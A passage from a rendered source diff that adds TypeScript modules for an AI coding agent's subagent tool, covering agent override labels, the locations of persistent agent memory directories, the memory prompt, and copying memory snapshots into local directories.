const overriddenBy =
|
| 67 |
+
active && active.source !== agent.source ? active.source : undefined
|
| 68 |
+
resolved.push({ ...agent, overriddenBy })
|
| 69 |
+
}
|
| 70 |
+
|
| 71 |
+
return resolved
|
| 72 |
+
}
|
| 73 |
+
|
| 74 |
+
/**
|
| 75 |
+
* Resolve the display model string for an agent.
|
| 76 |
+
* Returns the model alias or 'inherit' for display purposes.
|
| 77 |
+
*/
|
| 78 |
+
export function resolveAgentModelDisplay(
|
| 79 |
+
agent: AgentDefinition,
|
| 80 |
+
): string | undefined {
|
| 81 |
+
const model = agent.model || getDefaultSubagentModel()
|
| 82 |
+
if (!model) return undefined
|
| 83 |
+
return model === 'inherit' ? 'inherit' : model
|
| 84 |
+
}
|
| 85 |
+
|
| 86 |
+
/**
|
| 87 |
+
* Get a human-readable label for the source that overrides an agent.
|
| 88 |
+
* Returns lowercase, e.g. "user", "project", "managed".
|
| 89 |
+
*/
|
| 90 |
+
export function getOverrideSourceLabel(source: AgentSource): string {
|
| 91 |
+
return getSourceDisplayName(source).toLowerCase()
|
| 92 |
+
}
|
| 93 |
+
|
| 94 |
+
/**
|
| 95 |
+
* Compare agents alphabetically by name (case-insensitive).
|
| 96 |
+
*/
|
| 97 |
+
export function compareAgentsByName(
|
| 98 |
+
a: AgentDefinition,
|
| 99 |
+
b: AgentDefinition,
|
| 100 |
+
): number {
|
| 101 |
+
return a.agentType.localeCompare(b.agentType, undefined, {
|
| 102 |
+
sensitivity: 'base',
|
| 103 |
+
})
|
| 104 |
+
}
|
src/tools/AgentTool/agentMemory.ts
ADDED
|
@@ -0,0 +1,177 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { join, normalize, sep } from 'path'
|
| 2 |
+
import { getProjectRoot } from '../../bootstrap/state.js'
|
| 3 |
+
import {
|
| 4 |
+
buildMemoryPrompt,
|
| 5 |
+
ensureMemoryDirExists,
|
| 6 |
+
} from '../../memdir/memdir.js'
|
| 7 |
+
import { getMemoryBaseDir } from '../../memdir/paths.js'
|
| 8 |
+
import { getCwd } from '../../utils/cwd.js'
|
| 9 |
+
import { findCanonicalGitRoot } from '../../utils/git.js'
|
| 10 |
+
import { sanitizePath } from '../../utils/path.js'
|
| 11 |
+
|
| 12 |
+
// Persistent agent memory scope: 'user' (~/.claude/agent-memory/), 'project' (.claude/agent-memory/), or 'local' (.claude/agent-memory-local/)
|
| 13 |
+
export type AgentMemoryScope = 'user' | 'project' | 'local'
|
| 14 |
+
|
| 15 |
+
/**
|
| 16 |
+
* Sanitize an agent type name for use as a directory name.
|
| 17 |
+
* Replaces colons (invalid on Windows, used in plugin-namespaced agent
|
| 18 |
+
* types like "my-plugin:my-agent") with dashes.
|
| 19 |
+
*/
|
| 20 |
+
function sanitizeAgentTypeForPath(agentType: string): string {
|
| 21 |
+
return agentType.replace(/:/g, '-')
|
| 22 |
+
}
|
| 23 |
+
|
| 24 |
+
/**
|
| 25 |
+
* Returns the local agent memory directory, which is project-specific and not checked into VCS.
|
| 26 |
+
* When CLAUDE_CODE_REMOTE_MEMORY_DIR is set, persists to the mount with project namespacing.
|
| 27 |
+
* Otherwise, uses <cwd>/.claude/agent-memory-local/<agentType>/.
|
| 28 |
+
*/
|
| 29 |
+
function getLocalAgentMemoryDir(dirName: string): string {
|
| 30 |
+
if (process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR) {
|
| 31 |
+
return (
|
| 32 |
+
join(
|
| 33 |
+
process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR,
|
| 34 |
+
'projects',
|
| 35 |
+
sanitizePath(
|
| 36 |
+
findCanonicalGitRoot(getProjectRoot()) ?? getProjectRoot(),
|
| 37 |
+
),
|
| 38 |
+
'agent-memory-local',
|
| 39 |
+
dirName,
|
| 40 |
+
) + sep
|
| 41 |
+
)
|
| 42 |
+
}
|
| 43 |
+
return join(getCwd(), '.claude', 'agent-memory-local', dirName) + sep
|
| 44 |
+
}
|
| 45 |
+
|
| 46 |
+
/**
|
| 47 |
+
* Returns the agent memory directory for a given agent type and scope.
|
| 48 |
+
* - 'user' scope: <memoryBase>/agent-memory/<agentType>/
|
| 49 |
+
* - 'project' scope: <cwd>/.claude/agent-memory/<agentType>/
|
| 50 |
+
* - 'local' scope: see getLocalAgentMemoryDir()
|
| 51 |
+
*/
|
| 52 |
+
export function getAgentMemoryDir(
|
| 53 |
+
agentType: string,
|
| 54 |
+
scope: AgentMemoryScope,
|
| 55 |
+
): string {
|
| 56 |
+
const dirName = sanitizeAgentTypeForPath(agentType)
|
| 57 |
+
switch (scope) {
|
| 58 |
+
case 'project':
|
| 59 |
+
return join(getCwd(), '.claude', 'agent-memory', dirName) + sep
|
| 60 |
+
case 'local':
|
| 61 |
+
return getLocalAgentMemoryDir(dirName)
|
| 62 |
+
case 'user':
|
| 63 |
+
return join(getMemoryBaseDir(), 'agent-memory', dirName) + sep
|
| 64 |
+
}
|
| 65 |
+
}
|
| 66 |
+
|
| 67 |
+
// Check if file is within an agent memory directory (any scope).
|
| 68 |
+
export function isAgentMemoryPath(absolutePath: string): boolean {
|
| 69 |
+
// SECURITY: Normalize to prevent path traversal bypasses via .. segments
|
| 70 |
+
const normalizedPath = normalize(absolutePath)
|
| 71 |
+
const memoryBase = getMemoryBaseDir()
|
| 72 |
+
|
| 73 |
+
// User scope: check memory base (may be custom dir or config home)
|
| 74 |
+
if (normalizedPath.startsWith(join(memoryBase, 'agent-memory') + sep)) {
|
| 75 |
+
return true
|
| 76 |
+
}
|
| 77 |
+
|
| 78 |
+
// Project scope: always cwd-based (not redirected)
|
| 79 |
+
if (
|
| 80 |
+
normalizedPath.startsWith(join(getCwd(), '.claude', 'agent-memory') + sep)
|
| 81 |
+
) {
|
| 82 |
+
return true
|
| 83 |
+
}
|
| 84 |
+
|
| 85 |
+
// Local scope: persisted to mount when CLAUDE_CODE_REMOTE_MEMORY_DIR is set, otherwise cwd-based
|
| 86 |
+
if (process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR) {
|
| 87 |
+
if (
|
| 88 |
+
normalizedPath.includes(sep + 'agent-memory-local' + sep) &&
|
| 89 |
+
normalizedPath.startsWith(
|
| 90 |
+
join(process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR, 'projects') + sep,
|
| 91 |
+
)
|
| 92 |
+
) {
|
| 93 |
+
return true
|
| 94 |
+
}
|
| 95 |
+
} else if (
|
| 96 |
+
normalizedPath.startsWith(
|
| 97 |
+
join(getCwd(), '.claude', 'agent-memory-local') + sep,
|
| 98 |
+
)
|
| 99 |
+
) {
|
| 100 |
+
return true
|
| 101 |
+
}
|
| 102 |
+
|
| 103 |
+
return false
|
| 104 |
+
}
|
| 105 |
+
|
| 106 |
+
/**
|
| 107 |
+
* Returns the agent memory file path for a given agent type and scope.
|
| 108 |
+
*/
|
| 109 |
+
export function getAgentMemoryEntrypoint(
|
| 110 |
+
agentType: string,
|
| 111 |
+
scope: AgentMemoryScope,
|
| 112 |
+
): string {
|
| 113 |
+
return join(getAgentMemoryDir(agentType, scope), 'MEMORY.md')
|
| 114 |
+
}
|
| 115 |
+
|
| 116 |
+
export function getMemoryScopeDisplay(
|
| 117 |
+
memory: AgentMemoryScope | undefined,
|
| 118 |
+
): string {
|
| 119 |
+
switch (memory) {
|
| 120 |
+
case 'user':
|
| 121 |
+
return `User (${join(getMemoryBaseDir(), 'agent-memory')}/)`
|
| 122 |
+
case 'project':
|
| 123 |
+
return 'Project (.claude/agent-memory/)'
|
| 124 |
+
case 'local':
|
| 125 |
+
return `Local (${getLocalAgentMemoryDir('...')})`
|
| 126 |
+
default:
|
| 127 |
+
return 'None'
|
| 128 |
+
}
|
| 129 |
+
}
|
| 130 |
+
|
| 131 |
+
/**
|
| 132 |
+
* Load persistent memory for an agent with memory enabled.
|
| 133 |
+
* Creates the memory directory if needed and returns a prompt with memory contents.
|
| 134 |
+
*
|
| 135 |
+
* @param agentType The agent's type name (used as directory name)
|
| 136 |
+
* @param scope 'user' for ~/.claude/agent-memory/ or 'project' for .claude/agent-memory/
|
| 137 |
+
*/
|
| 138 |
+
export function loadAgentMemoryPrompt(
|
| 139 |
+
agentType: string,
|
| 140 |
+
scope: AgentMemoryScope,
|
| 141 |
+
): string {
|
| 142 |
+
let scopeNote: string
|
| 143 |
+
switch (scope) {
|
| 144 |
+
case 'user':
|
| 145 |
+
scopeNote =
|
| 146 |
+
'- Since this memory is user-scope, keep learnings general since they apply across all projects'
|
| 147 |
+
break
|
| 148 |
+
case 'project':
|
| 149 |
+
scopeNote =
|
| 150 |
+
'- Since this memory is project-scope and shared with your team via version control, tailor your memories to this project'
|
| 151 |
+
break
|
| 152 |
+
case 'local':
|
| 153 |
+
scopeNote =
|
| 154 |
+
'- Since this memory is local-scope (not checked into version control), tailor your memories to this project and machine'
|
| 155 |
+
break
|
| 156 |
+
}
|
| 157 |
+
|
| 158 |
+
const memoryDir = getAgentMemoryDir(agentType, scope)
|
| 159 |
+
|
| 160 |
+
// Fire-and-forget: this runs at agent-spawn time inside a sync
|
| 161 |
+
// getSystemPrompt() callback (called from React render in AgentDetail.tsx,
|
| 162 |
+
// so it cannot be async). The spawned agent won't try to Write until after
|
| 163 |
+
// a full API round-trip, by which time mkdir will have completed. Even if
|
| 164 |
+
// it hasn't, FileWriteTool does its own mkdir of the parent directory.
|
| 165 |
+
void ensureMemoryDirExists(memoryDir)
|
| 166 |
+
|
| 167 |
+
const coworkExtraGuidelines =
|
| 168 |
+
process.env.CLAUDE_COWORK_MEMORY_EXTRA_GUIDELINES
|
| 169 |
+
return buildMemoryPrompt({
|
| 170 |
+
displayName: 'Persistent Agent Memory',
|
| 171 |
+
memoryDir,
|
| 172 |
+
extraGuidelines:
|
| 173 |
+
coworkExtraGuidelines && coworkExtraGuidelines.trim().length > 0
|
| 174 |
+
? [scopeNote, coworkExtraGuidelines]
|
| 175 |
+
: [scopeNote],
|
| 176 |
+
})
|
| 177 |
+
}
|
src/tools/AgentTool/agentMemorySnapshot.ts
ADDED
|
@@ -0,0 +1,197 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { mkdir, readdir, readFile, unlink, writeFile } from 'fs/promises'
|
| 2 |
+
import { join } from 'path'
|
| 3 |
+
import { z } from 'zod/v4'
|
| 4 |
+
import { getCwd } from '../../utils/cwd.js'
|
| 5 |
+
import { logForDebugging } from '../../utils/debug.js'
|
| 6 |
+
import { lazySchema } from '../../utils/lazySchema.js'
|
| 7 |
+
import { jsonParse, jsonStringify } from '../../utils/slowOperations.js'
|
| 8 |
+
import { type AgentMemoryScope, getAgentMemoryDir } from './agentMemory.js'
|
| 9 |
+
|
| 10 |
+
const SNAPSHOT_BASE = 'agent-memory-snapshots'
|
| 11 |
+
const SNAPSHOT_JSON = 'snapshot.json'
|
| 12 |
+
const SYNCED_JSON = '.snapshot-synced.json'
|
| 13 |
+
|
| 14 |
+
const snapshotMetaSchema = lazySchema(() =>
|
| 15 |
+
z.object({
|
| 16 |
+
updatedAt: z.string().min(1),
|
| 17 |
+
}),
|
| 18 |
+
)
|
| 19 |
+
|
| 20 |
+
const syncedMetaSchema = lazySchema(() =>
|
| 21 |
+
z.object({
|
| 22 |
+
syncedFrom: z.string().min(1),
|
| 23 |
+
}),
|
| 24 |
+
)
|
| 25 |
+
type SyncedMeta = z.infer<ReturnType<typeof syncedMetaSchema>>
|
| 26 |
+
|
| 27 |
+
/**
|
| 28 |
+
* Returns the path to the snapshot directory for an agent in the current project.
|
| 29 |
+
* e.g., <cwd>/.claude/agent-memory-snapshots/<agentType>/
|
| 30 |
+
*/
|
| 31 |
+
export function getSnapshotDirForAgent(agentType: string): string {
|
| 32 |
+
return join(getCwd(), '.claude', SNAPSHOT_BASE, agentType)
|
| 33 |
+
}
|
| 34 |
+
|
| 35 |
+
function getSnapshotJsonPath(agentType: string): string {
|
| 36 |
+
return join(getSnapshotDirForAgent(agentType), SNAPSHOT_JSON)
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
function getSyncedJsonPath(agentType: string, scope: AgentMemoryScope): string {
|
| 40 |
+
return join(getAgentMemoryDir(agentType, scope), SYNCED_JSON)
|
| 41 |
+
}
|
| 42 |
+
|
| 43 |
+
async function readJsonFile<T>(
|
| 44 |
+
path: string,
|
| 45 |
+
schema: z.ZodType<T>,
|
| 46 |
+
): Promise<T | null> {
|
| 47 |
+
try {
|
| 48 |
+
const content = await readFile(path, { encoding: 'utf-8' })
|
| 49 |
+
const result = schema.safeParse(jsonParse(content))
|
| 50 |
+
return result.success ? result.data : null
|
| 51 |
+
} catch {
|
| 52 |
+
return null
|
| 53 |
+
}
|
| 54 |
+
}
|
| 55 |
+
|
| 56 |
+
async function copySnapshotToLocal(
|
| 57 |
+
agentType: string,
|
| 58 |
+
scope: AgentMemoryScope,
|
| 59 |
+
): Promise<void> {
|
| 60 |
+
const snapshotMemDir = getSnapshotDirForAgent(agentType)
|
| 61 |
+
const localMemDir = getAgentMemoryDir(agentType, scope)
|
| 62 |
+
|
| 63 |
+
await mkdir(localMemDir, { recursive: true })
|
| 64 |
+
|
| 65 |
+
try {
|
| 66 |
+
const files = await readdir(snapshotMemDir, { withFileTypes: true })
|
| 67 |
+
for (const dirent of files) {
|
| 68 |
+
if (!dirent.isFile() || dirent.name === SNAPSHOT_JSON) continue
|
| 69 |
+
const content = await readFile(join(snapshotMemDir, dirent.name), {
|
| 70 |
+
encoding: 'utf-8',
|
| 71 |
+
})
|
| 72 |
+
await writeFile(join(localMemDir, dirent.name), content)
|
| 73 |
+
}
|
| 74 |
+
} catch (e) {
|
| 75 |
+
logForDebugging(`Failed to copy snapshot to local agent memory: ${e}`)
|
| 76 |
+
}
|
| 77 |
+
}
|
| 78 |
+
|
| 79 |
+
async function saveSyncedMeta(
|
| 80 |
+
agentType: string,
|
| 81 |
+
scope: AgentMemoryScope,
|
| 82 |
+
snapshotTimestamp: string,
|
| 83 |
+
): Promise<void> {
|
| 84 |
+
const syncedPath = getSyncedJsonPath(agentType, scope)
|
| 85 |
+
const localMemDir = getAgentMemoryDir(agentType, scope)
|
| 86 |
+
await mkdir(localMemDir, { recursive: true })
|
| 87 |
+
const meta: SyncedMeta = { syncedFrom: snapshotTimestamp }
|
| 88 |
+
try {
|
| 89 |
+
await writeFile(syncedPath, jsonStringify(meta))
|
| 90 |
+
} catch (e) {
|
| 91 |
+
logForDebugging(`Failed to save snapshot sync metadata: ${e}`)
|
| 92 |
+
}
|
| 93 |
+
}
|
| 94 |
+
|
| 95 |
+
/**
|
| 96 |
+
* Check if a snapshot exists and whether it's newer than what we last synced.
|
| 97 |
+
*/
|
| 98 |
+
export async function checkAgentMemorySnapshot(
|
| 99 |
+
agentType: string,
|
| 100 |
+
scope: AgentMemoryScope,
|
| 101 |
+
): Promise<{
|
| 102 |
+
action: 'none' | 'initialize' | 'prompt-update'
|
| 103 |
+
snapshotTimestamp?: string
|
| 104 |
+
}> {
|
| 105 |
+
const snapshotMeta = await readJsonFile(
|
| 106 |
+
getSnapshotJsonPath(agentType),
|
| 107 |
+
snapshotMetaSchema(),
|
| 108 |
+
)
|
| 109 |
+
|
| 110 |
+
if (!snapshotMeta) {
|
| 111 |
+
return { action: 'none' }
|
| 112 |
+
}
|
| 113 |
+
|
| 114 |
+
const localMemDir = getAgentMemoryDir(agentType, scope)
|
| 115 |
+
|
| 116 |
+
let hasLocalMemory = false
|
| 117 |
+
try {
|
| 118 |
+
const dirents = await readdir(localMemDir, { withFileTypes: true })
|
| 119 |
+
hasLocalMemory = dirents.some(d => d.isFile() && d.name.endsWith('.md'))
|
| 120 |
+
} catch {
|
| 121 |
+
// Directory doesn't exist
|
| 122 |
+
}
|
| 123 |
+
|
| 124 |
+
if (!hasLocalMemory) {
|
| 125 |
+
return { action: 'initialize', snapshotTimestamp: snapshotMeta.updatedAt }
|
| 126 |
+
}
|
| 127 |
+
|
| 128 |
+
const syncedMeta = await readJsonFile(
|
| 129 |
+
getSyncedJsonPath(agentType, scope),
|
| 130 |
+
syncedMetaSchema(),
|
| 131 |
+
)
|
| 132 |
+
|
| 133 |
+
if (
|
| 134 |
+
!syncedMeta ||
|
| 135 |
+
new Date(snapshotMeta.updatedAt) > new Date(syncedMeta.syncedFrom)
|
| 136 |
+
) {
|
| 137 |
+
return {
|
| 138 |
+
action: 'prompt-update',
|
| 139 |
+
snapshotTimestamp: snapshotMeta.updatedAt,
|
| 140 |
+
}
|
| 141 |
+
}
|
| 142 |
+
|
| 143 |
+
return { action: 'none' }
|
| 144 |
+
}
|
| 145 |
+
|
| 146 |
+
/**
|
| 147 |
+
* Initialize local agent memory from a snapshot (first-time setup).
|
| 148 |
+
*/
|
| 149 |
+
export async function initializeFromSnapshot(
|
| 150 |
+
agentType: string,
|
| 151 |
+
scope: AgentMemoryScope,
|
| 152 |
+
snapshotTimestamp: string,
|
| 153 |
+
): Promise<void> {
|
| 154 |
+
logForDebugging(
|
| 155 |
+
`Initializing agent memory for ${agentType} from project snapshot`,
|
| 156 |
+
)
|
| 157 |
+
await copySnapshotToLocal(agentType, scope)
|
| 158 |
+
await saveSyncedMeta(agentType, scope, snapshotTimestamp)
|
| 159 |
+
}
|
| 160 |
+
|
| 161 |
+
/**
|
| 162 |
+
* Replace local agent memory with the snapshot.
|
| 163 |
+
*/
|
| 164 |
+
export async function replaceFromSnapshot(
|
| 165 |
+
agentType: string,
|
| 166 |
+
scope: AgentMemoryScope,
|
| 167 |
+
snapshotTimestamp: string,
|
| 168 |
+
): Promise<void> {
|
| 169 |
+
logForDebugging(
|
| 170 |
+
`Replacing agent memory for ${agentType} with project snapshot`,
|
| 171 |
+
)
|
| 172 |
+
// Remove existing .md files before copying to avoid orphans
|
| 173 |
+
const localMemDir = getAgentMemoryDir(agentType, scope)
|
| 174 |
+
try {
|
| 175 |
+
const existing = await readdir(localMemDir, { withFileTypes: true })
|
| 176 |
+
for (const dirent of existing) {
|
| 177 |
+
if (dirent.isFile() && dirent.name.endsWith('.md')) {
|
| 178 |
+
await unlink(join(localMemDir, dirent.name))
|
| 179 |
+
}
|
| 180 |
+
}
|
| 181 |
+
} catch {
|
| 182 |
+
// Directory may not exist yet
|
| 183 |
+
}
|
| 184 |
+
await copySnapshotToLocal(agentType, scope)
|
| 185 |
+
await saveSyncedMeta(agentType, scope, snapshotTimestamp)
|
| 186 |
+
}
|
| 187 |
+
|
| 188 |
+
/**
|
| 189 |
+
* Mark the current snapshot as synced without changing local memory.
|
| 190 |
+
*/
|
| 191 |
+
export async function markSnapshotSynced(
|
| 192 |
+
agentType: string,
|
| 193 |
+
scope: AgentMemoryScope,
|
| 194 |
+
snapshotTimestamp: string,
|
| 195 |
+
): Promise<void> {
|
| 196 |
+
await saveSyncedMeta(agentType, scope, snapshotTimestamp)
|
| 197 |
+
}
|
src/tools/AgentTool/agentToolUtils.ts
ADDED
|
@@ -0,0 +1,686 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
